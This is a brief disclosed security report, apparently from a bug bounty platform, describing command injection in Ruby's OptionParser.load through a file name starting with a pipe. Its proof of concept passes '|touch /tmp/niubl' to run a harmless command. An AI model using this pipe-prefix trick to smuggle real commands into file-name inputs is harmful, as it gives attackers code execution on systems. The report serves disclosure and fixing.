Ruby · Report #1090678
Command injection in OptionParser.load
N/Astatus
lowseverity
1upvotes
7 Mar 2021disclosed
How it was found
OptionParser.load function use IO.readlines to read file, which can inject | command to exec command.
poc:
require 'optparse'
OptionParser.new do |opts|
opts.load("|touch /tmp/niubl")
end.parse!
Impact
The command may be executed unintentionally.